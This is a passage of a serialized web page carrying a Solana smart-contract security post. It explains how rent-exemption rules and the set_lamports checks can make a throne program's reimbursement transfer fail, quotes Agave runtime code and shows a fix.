to_reimburse",{"type":22,"tag":101,"props":75414,"children":75415},{"style":166},[75416],{"type":27,"value":960},{"type":22,"tag":101,"props":75418,"children":75419},{"style":120},[75420],{"type":27,"value":3603},{"type":22,"tag":101,"props":75422,"children":75423},{"style":126},[75424],{"type":27,"value":24271},{"type":22,"tag":101,"props":75426,"children":75427},{"style":166},[75428],{"type":27,"value":231},{"type":22,"tag":101,"props":75430,"children":75431},{"style":120},[75432],{"type":27,"value":18677},{"type":22,"tag":101,"props":75434,"children":75435},{"style":166},[75436],{"type":27,"value":231},{"type":22,"tag":101,"props":75438,"children":75439},{"style":120},[75440],{"type":27,"value":75256},{"type":22,"tag":101,"props":75442,"children":75443},{"style":166},[75444],{"type":27,"value":231},{"type":22,"tag":101,"props":75446,"children":75447},{"style":120},[75448],{"type":27,"value":75265},{"type":22,"tag":101,"props":75450,"children":75451},{"style":166},[75452],{"type":27,"value":8615},{"type":22,"tag":101,"props":75454,"children":75455},{"style":1544},[75456],{"type":27,"value":75457}," 9500",{"type":22,"tag":101,"props":75459,"children":75460},{"style":120},[75461],{"type":27,"value":901},{"type":22,"tag":101,"props":75463,"children":75464},{"style":166},[75465],{"type":27,"value":8625},{"type":22,"tag":101,"props":75467,"children":75468},{"style":1544},[75469],{"type":27,"value":75470}," 10000",{"type":22,"tag":101,"props":75472,"children":75473},{"style":120},[75474],{"type":27,"value":1520},{"type":22,"tag":101,"props":75476,"children":75477},{"class":103,"line":27496},[75478,75483],{"type":22,"tag":101,"props":75479,"children":75480},{"style":926},[75481],{"type":27,"value":75482}," transfer_from_pda",{"type":22,"tag":101,"props":75484,"children":75485},{"style":120},[75486],{"type":27,"value":1850},{"type":22,"tag":101,"props":75488,"children":75489},{"class":103,"line":27531},[75490,75494,75498,75502,75506,75510,75514,75518,75522],{"type":22,"tag":101,"props":75491,"children":75492},{"style":166},[75493],{"type":27,"value":11695},{"type":22,"tag":101,"props":75495,"children":75496},{"style":126},[75497],{"type":27,"value":24271},{"type":22,"tag":101,"props":75499,"children":75500},{"style":166},[75501],{"type":27,"value":231},{"type":22,"tag":101,"props":75503,"children":75504},{"style":120},[75505],{"type":27,"value":18677},{"type":22,"tag":101,"props":75507,"children":75508},{"style":166},[75509],{"type":27,"value":231},{"type":22,"tag":101,"props":75511,"children":75512},{"style":120},[75513],{"type":27,"value":75256},{"type":22,"tag":101,"props":75515,"children":75516},{"style":166},[75517],{"type":27,"value":231},{"type":22,"tag":101,"props":75519,"children":75520},{"style":926},[75521],{"type":27,"value":75353},{"type":22,"tag":101,"props":75523,"children":75524},{"style":120},[75525],{"type":27,"value":7526},{"type":22,"tag":101,"props":75527,"children":75528},{"class":103,"line":27539},[75529,75533,75537,75541,75545,75549],{"type":22,"tag":101,"props":75530,"children":75531},{"style":166},[75532],{"type":27,"value":11695},{"type":22,"tag":101,"props":75534,"children":75535},{"style":126},[75536],{"type":27,"value":24271},{"type":22,"tag":101,"props":75538,"children":75539},{"style":166},[75540],{"type":27,"value":231},{"type":22,"tag":101,"props":75542,"children":75543},{"style":120},[75544],{"type":27,"value":18677},{"type":22,"tag":101,"props":75546,"children":75547},{"style":166},[75548],{"type":27,"value":231},{"type":22,"tag":101,"props":75550,"children":75551},{"style":120},[75552],{"type":27,"value":75553},"old_king,\n",{"type":22,"tag":101,"props":75555,"children":75556},{"class":103,"line":27547},[75557,75562],{"type":22,"tag":101,"props":75558,"children":75559},{"style":126},[75560],{"type":27,"value":75561}," to_reimburse",{"type":22,"tag":101,"props":75563,"children":75564},{"style":120},[75565],{"type":27,"value":179},{"type":22,"tag":101,"props":75567,"children":75568},{"class":103,"line":27556},[75569,75573,75577],{"type":22,"tag":101,"props":75570,"children":75571},{"style":120},[75572],{"type":27,"value":75377},{"type":22,"tag":101,"props":75574,"children":75575},{"style":166},[75576],{"type":27,"value":5455},{"type":22,"tag":101,"props":75578,"children":75579},{"style":120},[75580],{"type":27,"value":1520},{"type":22,"tag":101,"props":75582,"children":75583},{"class":103,"line":27598},[75584],{"type":22,"tag":101,"props":75585,"children":75586},{"emptyLinePlaceholder":15},[75587],{"type":27,"value":1581},{"type":22,"tag":101,"props":75589,"children":75590},{"class":103,"line":27631},[75591],{"type":22,"tag":101,"props":75592,"children":75593},{"style":2215},[75594],{"type":27,"value":75595}," // Set new king\n",{"type":22,"tag":101,"props":75597,"children":75598},{"class":103,"line":27639},[75599,75603,75607,75611,75615,75619,75623,75628,75632,75636,75640,75644,75648,75653,75657,75662],{"type":22,"tag":101,"props":75600,"children":75601},{"style":126},[75602],{"type":27,"value":30184},{"type":22,"tag":101,"props":75604,"children":75605},{"style":166},[75606],{"type":27,"value":231},{"type":22,"tag":101,"props":75608,"children":75609},{"style":120},[75610],{"type":27,"value":18677},{"type":22,"tag":101,"props":75612,"children":75613},{"style":166},[75614],{"type":27,"value":231},{"type":22,"tag":101,"props":75616,"children":75617},{"style":120},[75618],{"type":27,"value":75256},{"type":22,"tag":101,"props":75620,"children":75621},{"style":166},[75622],{"type":27,"value":231},{"type":22,"tag":101,"props":75624,"children":75625},{"style":120},[75626],{"type":27,"value":75627},"king ",{"type":22,"tag":101,"props":75629,"children":75630},{"style":166},[75631],{"type":27,"value":1511},{"type":22,"tag":101,"props":75633,"children":75634},{"style":126},[75635],{"type":27,"value":29841},{"type":22,"tag":101,"props":75637,"children":75638},{"style":166},[75639],{"type":27,"value":231},{"type":22,"tag":101,"props":75641,"children":75642},{"style":120},[75643],{"type":27,"value":18677},{"type":22,"tag":101,"props":75645,"children":75646},{"style":166},[75647],{"type":27,"value":231},{"type":22,"tag":101,"props":75649,"children":75650},{"style":120},[75651],{"type":27,"value":75652},"new_king",{"type":22,"tag":101,"props":75654,"children":75655},{"style":166},[75656],{"type":27,"value":231},{"type":22,"tag":101,"props":75658,"children":75659},{"style":926},[75660],{"type":27,"value":75661},"key",{"type":22,"tag":101,"props":75663,"children":75664},{"style":120},[75665],{"type":27,"value":934},{"type":22,"tag":101,"props":75667,"children":75668},{"class":103,"line":27647},[75669,75673,75677,75681,75685,75689,75693,75697,75701,75706],{"type":22,"tag":101,"props":75670,"children":75671},{"style":126},[75672],{"type":27,"value":30184},{"type":22,"tag":101,"props":75674,"children":75675},{"style":166},[75676],{"type":27,"value":231},{"type":22,"tag":101,"props":75678,"children":75679},{"style":120},[75680],{"type":27,"value":18677},{"type":22,"tag":101,"props":75682,"children":75683},{"style":166},[75684],{"type":27,"value":231},{"type":22,"tag":101,"props":75686,"children":75687},{"style":120},[75688],{"type":27,"value":75256},{"type":22,"tag":101,"props":75690,"children":75691},{"style":166},[75692],{"type":27,"value":231},{"type":22,"tag":101,"props":75694,"children":75695},{"style":120},[75696],{"type":27,"value":75265},{"type":22,"tag":101,"props":75698,"children":75699},{"style":166},[75700],{"type":27,"value":1511},{"type":22,"tag":101,"props":75702,"children":75703},{"style":126},[75704],{"type":27,"value":75705}," bid_amount",{"type":22,"tag":101,"props":75707,"children":75708},{"style":120},[75709],{"type":27,"value":1520},{"type":22,"tag":101,"props":75711,"children":75712},{"class":103,"line":27656},[75713,75717,75721,75725,75729,75733,75737,75742,75746,75751,75755,75759,75763,75767,75772,75776,75780],{"type":22,"tag":101,"props":75714,"children":75715},{"style":126},[75716],{"type":27,"value":30184},{"type":22,"tag":101,"props":75718,"children":75719},{"style":166},[75720],{"type":27,"value":231},{"type":22,"tag":101,"props":75722,"children":75723},{"style":120},[75724],{"type":27,"value":18677},{"type":22,"tag":101,"props":75726,"children":75727},{"style":166},[75728],{"type":27,"value":231},{"type":22,"tag":101,"props":75730,"children":75731},{"style":120},[75732],{"type":27,"value":75256},{"type":22,"tag":101,"props":75734,"children":75735},{"style":166},[75736],{"type":27,"value":231},{"type":22,"tag":101,"props":75738,"children":75739},{"style":120},[75740],{"type":27,"value":75741},"last_time ",{"type":22,"tag":101,"props":75743,"children":75744},{"style":166},[75745],{"type":27,"value":1511},{"type":22,"tag":101,"props":75747,"children":75748},{"style":114},[75749],{"type":27,"value":75750}," Clock",{"type":22,"tag":101,"props":75752,"children":75753},{"style":166},[75754],{"type":27,"value":970},{"type":22,"tag":101,"props":75756,"children":75757},{"style":926},[75758],{"type":27,"value":20350},{"type":22,"tag":101,"props":75760,"children":75761},{"style":120},[75762],{"type":27,"value":17881},{"type":22,"tag":101,"props":75764,"children":75765},{"style":166},[75766],{"type":27,"value":7173},{"type":22,"tag":101,"props":75768,"children":75769},{"style":120},[75770],{"type":27,"value":75771},"unix_timestamp ",{"type":22,"tag":101,"props":75773,"children":75774},{"style":108},[75775],{"type":27,"value":12849},{"type":22,"tag":101,"props":75777,"children":75778},{"style":114},[75779],{"type":27,"value":174},{"type":22,"tag":101,"props":75781,"children":75782},{"style":120},[75783],{"type":27,"value":1520},{"type":22,"tag":101,"props":75785,"children":75786},{"class":103,"line":27732},[75787],{"type":22,"tag":101,"props":75788,"children":75789},{"emptyLinePlaceholder":15},[75790],{"type":27,"value":1581},{"type":22,"tag":101,"props":75792,"children":75793},{"class":103,"line":27765},[75794,75798],{"type":22,"tag":101,"props":75795,"children":75796},{"style":114},[75797],{"type":27,"value":18813},{"type":22,"tag":101,"props":75799,"children":75800},{"style":120},[75801],{"type":27,"value":18340},{"type":22,"tag":101,"props":75803,"children":75804},{"class":103,"line":27773},[75805],{"type":22,"tag":101,"props":75806,"children":75807},{"style":120},[75808],{"type":27,"value":1734},{"type":22,"tag":101,"props":75810,"children":75811},{"class":103,"line":27781},[75812],{"type":22,"tag":101,"props":75813,"children":75814},{"style":120},[75815],{"type":27,"value":188},{"type":22,"tag":23,"props":75817,"children":75818},{},[75819],{"type":27,"value":75820},"Note this comment:",{"type":22,"tag":604,"props":75822,"children":75823},{},[75824],{"type":22,"tag":23,"props":75825,"children":75826},{},[75827],{"type":27,"value":75828},"any writable account is allowed as a new king.",{"type":22,"tag":23,"props":75830,"children":75831},{},[75832],{"type":27,"value":75833},"...Is our assumption correct?",{"type":22,"tag":53,"props":75835,"children":75837},{"id":75836},"the-bugs-lurking-beneath",[75838],{"type":27,"value":75839},"The Bugs Lurking Beneath",{"type":22,"tag":1760,"props":75841,"children":75843},{"id":75842},"bug-1-the-rent-exemption-trap",[75844],{"type":27,"value":75845},"Bug 1: The Rent-Exemption Trap",{"type":22,"tag":23,"props":75847,"children":75848},{},[75849,75851,75856],{"type":27,"value":75850},"On Solana, all accounts must maintain a ",{"type":22,"tag":9370,"props":75852,"children":75853},{},[75854],{"type":27,"value":75855},"minimum balance",{"type":27,"value":75857}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":22,"tag":6839,"props":75859,"children":75860},{},[75861,75876],{"type":22,"tag":6832,"props":75862,"children":75863},{},[75864,75869,75870],{"type":22,"tag":9370,"props":75865,"children":75866},{},[75867],{"type":27,"value":75868},"Uninitialized",{"type":27,"value":19332},{"type":22,"tag":30,"props":75871,"children":75873},{"className":75872},[],[75874],{"type":27,"value":75875},"lamports = 0",{"type":22,"tag":6832,"props":75877,"children":75878},{},[75879,75884,75885],{"type":22,"tag":9370,"props":75880,"children":75881},{},[75882],{"type":27,"value":75883},"Initialized",{"type":27,"value":19332},{"type":22,"tag":30,"props":75886,"children":75888},{"className":75887},[],[75889],{"type":27,"value":75890},"lamports >= rent-exempt threshold",{"type":22,"tag":23,"props":75892,"children":75893},{},[75894,75896,75901],{"type":27,"value":75895},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":22,"tag":9370,"props":75897,"children":75898},{},[75899],{"type":27,"value":75900},"account metadata",{"type":27,"value":75902}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":22,"tag":23,"props":75904,"children":75905},{},[75906,75908,75914],{"type":27,"value":75907},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":22,"tag":30,"props":75909,"children":75911},{"className":75910},[],[75912],{"type":27,"value":75913},"data.len() == 0",{"type":27,"value":75915}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":22,"tag":23,"props":75917,"children":75918},{},[75919,75921,75927],{"type":27,"value":75920},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":22,"tag":80,"props":75922,"children":75925},{"href":75923,"rel":75924},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[84],[75926],{"type":27,"value":51581},{"type":27,"value":231},{"type":22,"tag":91,"props":75929,"children":75931},{"className":93,"code":75930,"language":95,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[75932],{"type":22,"tag":30,"props":75933,"children":75934},{"__ignoreMap":7},[75935,76019,76036,76082,76102,76123,76144,76159,76176,76220,76239,76260,76281,76297,76305,76338,76345,76352,76359,76366],{"type":22,"tag":101,"props":75936,"children":75937},{"class":103,"line":104},[75938,75943,75948,75952,75956,75960,75964,75969,75973,75977,75982,75986,75991,75995,75999,76003,76007,76011,76015],{"type":22,"tag":101,"props":75939,"children":75940},{"style":108},[75941],{"type":27,"value":75942}," fn",{"type":22,"tag":101,"props":75944,"children":75945},{"style":926},[75946],{"type":27,"value":75947}," transition_allowed",{"type":22,"tag":101,"props":75949,"children":75950},{"style":120},[75951],{"type":27,"value":980},{"type":22,"tag":101,"props":75953,"children":75954},{"style":166},[75955],{"type":27,"value":985},{"type":22,"tag":101,"props":75957,"children":75958},{"style":108},[75959],{"type":27,"value":4242},{"type":22,"tag":101,"props":75961,"children":75962},{"style":120},[75963],{"type":27,"value":758},{"type":22,"tag":101,"props":75965,"children":75966},{"style":126},[75967],{"type":27,"value":75968},"pre_rent_state",{"type":22,"tag":101,"props":75970,"children":75971},{"style":166},[75972],{"type":27,"value":169},{"type":22,"tag":101,"props":75974,"children":75975},{"style":166},[75976],{"type":27,"value":870},{"type":22,"tag":101,"props":75978,"children":75979},{"style":114},[75980],{"type":27,"value":75981},"RentState",{"type":22,"tag":101,"props":75983,"children":75984},{"style":120},[75985],{"type":27,"value":758},{"type":22,"tag":101,"props":75987,"children":75988},{"style":126},[75989],{"type":27,"value":75990},"post_rent_state",{"type":22,"tag":101,"props":75992,"children":75993},{"style":166},[75994],{"type":27,"value":169},{"type":22,"tag":101,"props":75996,"children":75997},{"style":166},[75998],{"type":27,"value":870},{"type":22,"tag":101,"props":76000,"children":76001},{"style":114},[76002],{"type":27,"value":75981},{"type":22,"tag":101,"props":76004,"children":76005},{"style":120},[76006],{"type":27,"value":901},{"type":22,"tag":101,"props":76008,"children":76009},{"style":166},[76010],{"type":27,"value":17759},{"type":22,"tag":101,"props":76012,"children":76013},{"style":114},[76014],{"type":27,"value":360},{"type":22,"tag":101,"props":76016,"children":76017},{"style":120},[76018],{"type":27,"value":154},{"type":22,"tag":101,"props":76020,"children":76021},{"class":103,"line":157},[76022,76027,76032],{"type":22,"tag":101,"props":76023,"children":76024},{"style":3595},[76025],{"type":27,"value":76026}," match",{"type":22,"tag":101,"props":76028,"children":76029},{"style":126},[76030],{"type":27,"value":76031}," post_rent_state",{"type":22,"tag":101,"props":76033,"children":76034},{"style":120},[76035],{"type":27,"value":154},{"type":22,"tag":101,"props":76037,"children":76038},{"class":103,"line":182},[76039,76044,76048,76052,76056,76061,76065,76070,76074,76078],{"type":22,"tag":101,"props":76040,"children":76041},{"style":114},[76042],{"type":27,"value":76043}," RentState",{"type":22,"tag":101,"props":76045,"children":76046},{"style":166},[76047],{"type":27,"value":970},{"type":22,"tag":101,"props":76049,"children":76050},{"style":114},[76051],{"type":27,"value":75868},{"type":22,"tag":101,"props":76053,"children":76054},{"style":166},[76055],{"type":27,"value":8314},{"type":22,"tag":101,"props":76057,"children":76058},{"style":114},[76059],{"type":27,"value":76060}," RentState",{"type":22,"tag":101,"props":76062,"children":76063},{"style":166},[76064],{"type":27,"value":970},{"type":22,"tag":101,"props":76066,"children":76067},{"style":114},[76068],{"type":27,"value":76069},"RentExempt",{"type":22,"tag":101,"props":76071,"children":76072},{"style":166},[76073],{"type":27,"value":31751},{"type":22,"tag":101,"props":76075,"children":76076},{"style":108},[76077],{"type":27,"value":16473},{"type":22,"tag":101,"props":76079,"children":76080},{"style":120},[76081],{"type":27,"value":179},{"type":22,"tag":101,"props":76083,"children":76084},{"class":103,"line":367},[76085,76089,76093,76098],{"type":22,"tag":101,"props":76086,"children":76087},{"style":114},[76088],{"type":27,"value":76043},{"type":22,"tag":101,"props":76090,"children":76091},{"style":166},[76092],{"type":27,"value":970},{"type":22,"tag":101,"props":76094,"children":76095},{"style":114},[76096],{"type":27,"value":76097},"RentPaying",{"type":22,"tag":101,"props":76099,"children":76100},{"style":120},[76101],{"type":27,"value":154},{"type":22,"tag":101,"props":76103,"children":76104},{"class":103,"line":398},[76105,76110,76114,76119],{"type":22,"tag":101,"props":76106,"children":76107},{"style":126},[76108],{"type":27,"value":76109}," data_size",{"type":22,"tag":101,"props":76111,"children":76112},{"style":166},[76113],{"type":27,"value":169},{"type":22,"tag":101,"props":76115,"children":76116},{"style":126},[76117],{"type":27,"value":76118}," post_data_size",{"type":22,"tag":101,"props":76120,"children":76121},{"style":120},[76122],{"type":27,"value":179},{"type":22,"tag":101,"props":76124,"children":76125},{"class":103,"line":428},[76126,76131,76135,76140],{"type":22,"tag":101,"props":76127,"children":76128},{"style":126},[76129],{"type":27,"value":76130}," lamports",{"type":22,"tag":101,"props":76132,"children":76133},{"style":166},[76134],{"type":27,"value":169},{"type":22,"tag":101,"props":76136,"children":76137},{"style":126},[76138],{"type":27,"value":76139}," post_lamports",{"type":22,"tag":101,"props":76141,"children":76142},{"style":120},[76143],{"type":27,"value":179},{"type":22,"tag":101,"props":76145,"children":76146},{"class":103,"line":997},[76147,76151,76155],{"type":22,"tag":101,"props":76148,"children":76149},{"style":120},[76150],{"type":27,"value":74099},{"type":22,"tag":101,"props":76152,"children":76153},{"style":166},[76154],{"type":27,"value":18823},{"type":22,"tag":101,"props":76156,"children":76157},{"style":120},[76158],{"type":27,"value":154},{"type":22,"tag":101,"props":76160,"children":76161},{"class":103,"line":1032},[76162,76167,76172],{"type":22,"tag":101,"props":76163,"children":76164},{"style":3595},[76165],{"type":27,"value":76166}," match",{"type":22,"tag":101,"props":76168,"children":76169},{"style":126},[76170],{"type":27,"value":76171}," pre_rent_state",{"type":22,"tag":101,"props":76173,"children":76174},{"style":120},[76175],{"type":27,"value":154},{"type":22,"tag":101,"props":76177,"children":76178},{"class":103,"line":1063},[76179,76184,76188,76192,76196,76200,76204,76208,76212,76216],{"type":22,"tag":101,"props":76180,"children":76181},{"style":114},[76182],{"type":27,"value":76183}," RentState",{"type":22,"tag":101,"props":76185,"children":76186},{"style":166},[76187],{"type":27,"value":970},{"type":22,"tag":101,"props":76189,"children":76190},{"style":114},[76191],{"type":27,"value":75868},{"type":22,"tag":101,"props":76193,"children":76194},{"style":166},[76195],{"type":27,"value":8314},{"type":22,"tag":101,"props":76197,"children":76198},{"style":114},[76199],{"type":27,"value":76060},{"type":22,"tag":101,"props":76201,"children":76202},{"style":166},[76203],{"type":27,"value":970},{"type":22,"tag":101,"props":76205,"children":76206},{"style":114},[76207],{"type":27,"value":76069},{"type":22,"tag":101,"props":76209,"children":76210},{"style":166},[76211],{"type":27,"value":31751},{"type":22,"tag":101,"props":76213,"children":76214},{"style":108},[76215],{"type":27,"value":13065},{"type":22,"tag":101,"props":76217,"children":76218},{"style":120},[76219],{"type":27,"value":179},{"type":22,"tag":101,"props":76221,"children":76222},{"class":103,"line":1071},[76223,76227,76231,76235],{"type":22,"tag":101,"props":76224,"children":76225},{"style":114},[76226],{"type":27,"value":76183},{"type":22,"tag":101,"props":76228,"children":76229},{"style":166},[76230],{"type":27,"value":970},{"type":22,"tag":101,"props":76232,"children":76233},{"style":114},[76234],{"type":27,"value":76097},{"type":22,"tag":101,"props":76236,"children":76237},{"style":120},[76238],{"type":27,"value":154},{"type":22,"tag":101,"props":76240,"children":76241},{"class":103,"line":1110},[76242,76247,76251,76256],{"type":22,"tag":101,"props":76243,"children":76244},{"style":126},[76245],{"type":27,"value":76246}," data_size",{"type":22,"tag":101,"props":76248,"children":76249},{"style":166},[76250],{"type":27,"value":169},{"type":22,"tag":101,"props":76252,"children":76253},{"style":126},[76254],{"type":27,"value":76255}," pre_data_size",{"type":22,"tag":101,"props":76257,"children":76258},{"style":120},[76259],{"type":27,"value":179},{"type":22,"tag":101,"props":76261,"children":76262},{"class":103,"line":1118},[76263,76268,76272,76277],{"type":22,"tag":101,"props":76264,"children":76265},{"style":126},[76266],{"type":27,"value":76267}," lamports",{"type":22,"tag":101,"props":76269,"children":76270},{"style":166},[76271],{"type":27,"value":169},{"type":22,"tag":101,"props":76273,"children":76274},{"style":126},[76275],{"type":27,"value":76276}," pre_lamports",{"type":22,"tag":101,"props":76278,"children":76279},{"style":120},[76280],{"type":27,"value":179},{"type":22,"tag":101,"props":76282,"children":76283},{"class":103,"line":1158},[76284,76289,76293],{"type":22,"tag":101,"props":76285,"children":76286},{"style":120},[76287],{"type":27,"value":76288}," } ",{"type":22,"tag":101,"props":76290,"children":76291},{"style":166},[76292],{"type":27,"value":18823},{"type":22,"tag":101,"props":76294,"children":76295},{"style":120},[76296],{"type":27,"value":154},{"type":22,"tag":101,"props":76298,"children":76299},{"class":103,"line":1166},[76300],{"type":22,"tag":101,"props":76301,"children":76302},{"style":2215},[76303],{"type":27,"value":76304}," // Cannot remain RentPaying if resized or credited.\n",{"type":22,"tag":101,"props":76306,"children":76307},{"class":103,"line":1215},[76308,76313,76317,76321,76325,76329,76333],{"type":22,"tag":101,"props":76309,"children":76310},{"style":126},[76311],{"type":27,"value":76312}," post_data_size",{"type":22,"tag":101,"props":76314,"children":76315},{"style":166},[76316],{"type":27,"value":1541},{"type":22,"tag":101,"props":76318,"children":76319},{"style":126},[76320],{"type":27,"value":76255},{"type":22,"tag":101,"props":76322,"children":76323},{"style":166},[76324],{"type":27,"value":18187},{"type":22,"tag":101,"props":76326,"children":76327},{"style":126},[76328],{"type":27,"value":76139},{"type":22,"tag":101,"props":76330,"children":76331},{"style":166},[76332],{"type":27,"value":12206},{"type":22,"tag":101,"props":76334,"children":76335},{"style":126},[76336],{"type":27,"value":76337}," pre_lamports\n",{"type":22,"tag":101,"props":76339,"children":76340},{"class":103,"line":2425},[76341],{"type":22,"tag":101,"props":76342,"children":76343},{"style":120},[76344],{"type":27,"value":74568},{"type":22,"tag":101,"props":76346,"children":76347},{"class":103,"line":5417},[76348],{"type":22,"tag":101,"props":76349,"children":76350},{"style":120},[76351],{"type":27,"value":74576},{"type":22,"tag":101,"props":76353,"children":76354},{"class":103,"line":7714},[76355],{"type":22,"tag":101,"props":76356,"children":76357},{"style":120},[76358],{"type":27,"value":62882},{"type":22,"tag":101,"props":76360,"children":76361},{"class":103,"line":7723},[76362],{"type":22,"tag":101,"props":76363,"children":76364},{"style":120},[76365],{"type":27,"value":2398},{"type":22,"tag":101,"props":76367,"children":76368},{"class":103,"line":7791},[76369],{"type":22,"tag":101,"props":76370,"children":76371},{"style":120},[76372],{"type":27,"value":1734},{"type":22,"tag":23,"props":76374,"children":76375},{},[76376],{"type":27,"value":76377},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":22,"tag":91,"props":76379,"children":76381},{"className":8288,"code":76380,"language":8287,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[76382],{"type":22,"tag":30,"props":76383,"children":76384},{"__ignoreMap":7},[76385,76401],{"type":22,"tag":101,"props":76386,"children":76387},{"class":103,"line":104},[76388,76392,76397],{"type":22,"tag":101,"props":76389,"children":76390},{"style":926},[76391],{"type":27,"value":6929},{"type":22,"tag":101,"props":76393,"children":76394},{"style":6476},[76395],{"type":27,"value":76396}," rent",{"type":22,"tag":101,"props":76398,"children":76399},{"style":1544},[76400],{"type":27,"value":28277},{"type":22,"tag":101,"props":76402,"children":76403},{"class":103,"line":157},[76404,76409,76414,76419],{"type":22,"tag":101,"props":76405,"children":76406},{"style":926},[76407],{"type":27,"value":76408},"Rent-exempt",{"type":22,"tag":101,"props":76410,"children":76411},{"style":6476},[76412],{"type":27,"value":76413}," minimum:",{"type":22,"tag":101,"props":76415,"children":76416},{"style":1544},[76417],{"type":27,"value":76418}," 0.00089088",{"type":22,"tag":101,"props":76420,"children":76421},{"style":6476},[76422],{"type":27,"value":76423}," SOL\n",{"type":22,"tag":22883,"props":76425,"children":76427},{"id":76426},"fix-1-only-reimburse-if-rent-exempt",[76428],{"type":27,"value":76429},"Fix 1: Only Reimburse if Rent-Exempt",{"type":22,"tag":23,"props":76431,"children":76432},{},[76433],{"type":27,"value":76434},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":22,"tag":91,"props":76436,"children":76438},{"className":44355,"code":76437,"language":44357,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[76439],{"type":22,"tag":30,"props":76440,"children":76441},{"__ignoreMap":7},[76442,76450,76458,76466,76474,76482,76490,76498,76506,76514],{"type":22,"tag":101,"props":76443,"children":76444},{"class":103,"line":104},[76445],{"type":22,"tag":101,"props":76446,"children":76447},{"style":120},[76448],{"type":27,"value":76449},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":22,"tag":101,"props":76451,"children":76452},{"class":103,"line":157},[76453],{"type":22,"tag":101,"props":76454,"children":76455},{"style":1544},[76456],{"type":27,"value":76457},"+let rent = Rent::get()?;\n",{"type":22,"tag":101,"props":76459,"children":76460},{"class":103,"line":182},[76461],{"type":22,"tag":101,"props":76462,"children":76463},{"style":1544},[76464],{"type":27,"value":76465},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":22,"tag":101,"props":76467,"children":76468},{"class":103,"line":367},[76469],{"type":22,"tag":101,"props":76470,"children":76471},{"style":1544},[76472],{"type":27,"value":76473},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":22,"tag":101,"props":76475,"children":76476},{"class":103,"line":398},[76477],{"type":22,"tag":101,"props":76478,"children":76479},{"style":120},[76480],{"type":27,"value":76481}," transfer_from_pda(\n",{"type":22,"tag":101,"props":76483,"children":76484},{"class":103,"line":428},[76485],{"type":22,"tag":101,"props":76486,"children":76487},{"style":120},[76488],{"type":27,"value":76489}," &ctx.accounts.throne.to_account_info(),\n",{"type":22,"tag":101,"props":76491,"children":76492},{"class":103,"line":997},[76493],{"type":22,"tag":101,"props":76494,"children":76495},{"style":120},[76496],{"type":27,"value":76497}," &ctx.accounts.old_king,\n",{"type":22,"tag":101,"props":76499,"children":76500},{"class":103,"line":1032},[76501],{"type":22,"tag":101,"props":76502,"children":76503},{"style":120},[76504],{"type":27,"value":76505}," to_reimburse,\n",{"type":22,"tag":101,"props":76507,"children":76508},{"class":103,"line":1063},[76509],{"type":22,"tag":101,"props":76510,"children":76511},{"style":120},[76512],{"type":27,"value":76513}," )?;\n",{"type":22,"tag":101,"props":76515,"children":76516},{"class":103,"line":1071},[76517],{"type":22,"tag":101,"props":76518,"children":76519},{"style":1544},[76520],{"type":27,"value":76521},"+}\n",{"type":22,"tag":23,"props":76523,"children":76524},{},[76525],{"type":27,"value":76526},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":22,"tag":1760,"props":76528,"children":76530},{"id":76529},"bug-2-writable-but-untouchable-set_lamports-fails",[76531,76533,76539],{"type":27,"value":76532},"Bug 2: Writable but Untouchable — ",{"type":22,"tag":30,"props":76534,"children":76536},{"className":76535},[],[76537],{"type":27,"value":76538},"set_lamports",{"type":27,"value":76540}," Fails",{"type":22,"tag":23,"props":76542,"children":76543},{},[76544,76546,76553],{"type":27,"value":76545},"Let's look at ",{"type":22,"tag":80,"props":76547,"children":76550},{"href":76548,"rel":76549},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[84],[76551],{"type":27,"value":76552},"BorrowedAccount::set_lamports",{"type":27,"value":231},{"type":22,"tag":91,"props":76555,"children":76557},{"className":93,"code":76556,"language":95,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n 